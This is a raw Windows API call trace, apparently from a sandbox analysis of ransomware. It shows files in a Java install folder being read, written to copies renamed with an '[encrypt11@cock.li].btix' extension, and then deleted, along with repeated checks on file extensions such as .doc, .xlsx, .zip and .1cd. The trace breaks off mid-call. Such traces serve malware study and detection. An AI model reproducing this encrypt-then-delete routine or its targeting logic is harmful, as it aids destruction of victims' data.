[0150.608] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0150.608] lstrlenW (lpString=".ppt") returned 4 [0150.608] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0150.608] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.608] lstrlenW (lpString=".zip") returned 4 [0150.608] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0150.609] lstrlenW (lpString=".rar") returned 4 [0150.609] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0150.609] lstrlenW (lpString=".bz2") returned 4 [0150.609] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0150.609] lstrlenW (lpString=".7z") returned 3 [0150.609] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0150.609] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.609] lstrlenW (lpString=".dbf") returned 4 [0150.609] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0150.609] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.609] lstrlenW (lpString=".1cd") returned 4 [0150.609] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0150.609] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0150.609] lstrlenW (lpString=".jpg") returned 4 [0150.609] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0150.609] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0150.609] lstrlenW (lpString="policytool.exe") returned 14 [0150.609] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0150.610] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=16448) returned 1 [0150.610] CloseHandle (hObject=0x368) returned 1 [0150.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0150.610] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.610] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0150.610] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.610] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.610] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0150.610] GetLastError () returned 0x0 [0150.610] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x4040, lpOverlapped=0x0) returned 1 [0150.681] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x4050, lpOverlapped=0x0) returned 1 [0150.682] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.682] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf0, lpOverlapped=0x0) returned 1 [0150.683] SetEndOfFile (hFile=0x370) returned 1 [0150.683] CloseHandle (hObject=0x370) returned 1 [0150.683] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.683] SetEndOfFile (hFile=0x368) returned 1 [0150.687] CloseHandle (hObject=0x368) returned 1 [0150.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.687] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 1 [0150.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.688] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.688] lstrlenW (lpString=".doc") returned 4 [0150.688] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0150.688] lstrlenW (lpString=".docx") returned 5 [0150.688] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0150.688] lstrlenW (lpString=".pdf") returned 4 [0150.688] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0150.688] lstrlenW (lpString=".xls") returned 4 [0150.689] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0150.689] lstrlenW (lpString=".xlsx") returned 5 [0150.689] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0150.689] lstrlenW (lpString=".ppt") returned 4 [0150.689] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0150.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.689] lstrlenW (lpString=".zip") returned 4 [0150.689] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0150.689] lstrlenW (lpString=".rar") returned 4 [0150.689] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0150.689] lstrlenW (lpString=".bz2") returned 4 [0150.689] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0150.689] lstrlenW (lpString=".7z") returned 3 [0150.689] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0150.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.689] lstrlenW (lpString=".dbf") returned 4 [0150.689] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0150.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.689] lstrlenW (lpString=".1cd") returned 4 [0150.689] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0150.689] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.689] lstrlenW (lpString=".jpg") returned 4 [0150.689] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0150.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.690] lstrlenW (lpString=".doc") returned 4 [0150.690] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0150.690] lstrlenW (lpString=".docx") returned 5 [0150.690] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0150.690] lstrlenW (lpString=".pdf") returned 4 [0150.690] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0150.690] lstrlenW (lpString=".xls") returned 4 [0150.690] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0150.690] lstrlenW (lpString=".xlsx") returned 5 [0150.690] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0150.690] lstrlenW (lpString=".ppt") returned 4 [0150.690] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0150.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.690] lstrlenW (lpString=".zip") returned 4 [0150.690] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0150.690] lstrlenW (lpString=".rar") returned 4 [0150.690] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0150.690] lstrlenW (lpString=".bz2") returned 4 [0150.690] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0150.690] lstrlenW (lpString=".7z") returned 3 [0150.690] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0150.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.690] lstrlenW (lpString=".dbf") returned 4 [0150.690] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0150.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.690] lstrlenW (lpString=".1cd") returned 4 [0150.690] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0150.690] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe") returned 53 [0150.690] lstrlenW (lpString=".jpg") returned 4 [0150.690] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0150.691] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0150.691] lstrlenW (lpString="prism_d3d.dll") returned 13 [0150.691] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0150.691] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=130624) returned 1 [0150.691] CloseHandle (hObject=0x368) returned 1 [0150.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0150.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.691] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0150.691] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.692] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.692] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0150.692] GetLastError () returned 0x0 [0150.692] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x1fe40, lpOverlapped=0x0) returned 1 [0150.748] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x1fe50, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x1fe50, lpOverlapped=0x0) returned 1 [0151.207] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.207] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xee, lpOverlapped=0x0) returned 1 [0151.207] SetEndOfFile (hFile=0x370) returned 1 [0151.207] CloseHandle (hObject=0x370) returned 1 [0151.207] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.207] SetEndOfFile (hFile=0x368) returned 1 [0151.214] CloseHandle (hObject=0x368) returned 1 [0151.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.214] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 1 [0151.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.215] lstrlenW (lpString=".doc") returned 4 [0151.215] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.215] lstrlenW (lpString=".docx") returned 5 [0151.215] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0151.215] lstrlenW (lpString=".pdf") returned 4 [0151.215] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.215] lstrlenW (lpString=".xls") returned 4 [0151.215] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.215] lstrlenW (lpString=".xlsx") returned 5 [0151.215] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0151.215] lstrlenW (lpString=".ppt") returned 4 [0151.215] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.215] lstrlenW (lpString=".zip") returned 4 [0151.215] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.215] lstrlenW (lpString=".rar") returned 4 [0151.215] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.215] lstrlenW (lpString=".bz2") returned 4 [0151.215] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.215] lstrlenW (lpString=".7z") returned 3 [0151.215] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.215] lstrlenW (lpString=".dbf") returned 4 [0151.215] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.215] lstrlenW (lpString=".1cd") returned 4 [0151.215] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.215] lstrlenW (lpString=".jpg") returned 4 [0151.215] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.216] lstrlenW (lpString=".doc") returned 4 [0151.216] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0151.216] lstrlenW (lpString=".docx") returned 5 [0151.216] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0151.216] lstrlenW (lpString=".pdf") returned 4 [0151.216] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0151.216] lstrlenW (lpString=".xls") returned 4 [0151.216] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0151.216] lstrlenW (lpString=".xlsx") returned 5 [0151.216] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0151.216] lstrlenW (lpString=".ppt") returned 4 [0151.216] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0151.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.216] lstrlenW (lpString=".zip") returned 4 [0151.216] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0151.216] lstrlenW (lpString=".rar") returned 4 [0151.216] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0151.216] lstrlenW (lpString=".bz2") returned 4 [0151.216] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0151.216] lstrlenW (lpString=".7z") returned 3 [0151.216] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0151.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.226] lstrlenW (lpString=".dbf") returned 4 [0151.226] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0151.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.226] lstrlenW (lpString=".1cd") returned 4 [0151.226] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0151.226] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0151.226] lstrlenW (lpString=".jpg") returned 4 [0151.226] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0151.226] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0151.226] lstrlenW (lpString="servertool.exe") returned 14 [0151.226] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.227] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=16448) returned 1 [0151.227] CloseHandle (hObject=0x368) returned 1 [0151.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0151.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.227] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.227] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.227] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.228] GetLastError () returned 0x0 [0151.228] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x4040, lpOverlapped=0x0) returned 1 [0151.230] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x4050, lpOverlapped=0x0) returned 1 [0151.231] ReadFile (in: hFile=0x368, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.231] WriteFile (in: hFile=0x370, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0xf0, lpOverlapped=0x0) returned 1 [0151.231] SetEndOfFile (hFile=0x370) returned 1 [0151.231] CloseHandle (hObject=0x370) returned 1 [0151.231] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.231] SetEndOfFile (hFile=0x368) returned 1 [0151.232] CloseHandle (hObject=0x368) returned 1 [0151.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0151.232] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 1 [0151.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.233] lstrlenW (lpString=".doc") returned 4 [0151.233] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.233] lstrlenW (lpString=".docx") returned 5 [0151.233] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0151.233] lstrlenW (lpString=".pdf") returned 4 [0151.233] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.233] lstrlenW (lpString=".xls") returned 4 [0151.233] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.233] lstrlenW (lpString=".xlsx") returned 5 [0151.233] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0151.233] lstrlenW (lpString=".ppt") returned 4 [0151.233] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.233] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.233] lstrlenW (lpString=".zip") returned 4 [0151.233] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.233] lstrlenW (lpString=".rar") returned 4 [0151.233] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.233] lstrlenW (lpString=".bz2") returned 4 [0151.233] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.233] lstrlenW (lpString=".7z") returned 3 [0151.233] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.234] lstrlenW (lpString=".dbf") returned 4 [0151.234] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.234] lstrlenW (lpString=".1cd") returned 4 [0151.234] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.234] lstrlenW (lpString=".jpg") returned 4 [0151.234] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.234] lstrlenW (lpString=".doc") returned 4 [0151.234] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0151.234] lstrlenW (lpString=".docx") returned 5 [0151.234] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0151.234] lstrlenW (lpString=".pdf") returned 4 [0151.234] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0151.234] lstrlenW (lpString=".xls") returned 4 [0151.234] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0151.234] lstrlenW (lpString=".xlsx") returned 5 [0151.234] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0151.234] lstrlenW (lpString=".ppt") returned 4 [0151.234] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0151.234] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.234] lstrlenW (lpString=".zip") returned 4 [0151.234] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0151.234] lstrlenW (lpString=".rar") returned 4 [0151.235] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0151.235] lstrlenW (lpString=".bz2") returned 4 [0151.235] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0151.235] lstrlenW (lpString=".7z") returned 3 [0151.235] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0151.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.235] lstrlenW (lpString=".dbf") returned 4 [0151.235] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0151.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.235] lstrlenW (lpString=".1cd") returned 4 [0151.235] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0151.235] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe") returned 53 [0151.235] lstrlenW (lpString=".jpg") returned 4 [0151.235] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0151.235] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0151.235] lstrlenW (lpString="splashscreen.dll") returned 16 [0151.235] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0151.236] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x379ff14 | out: 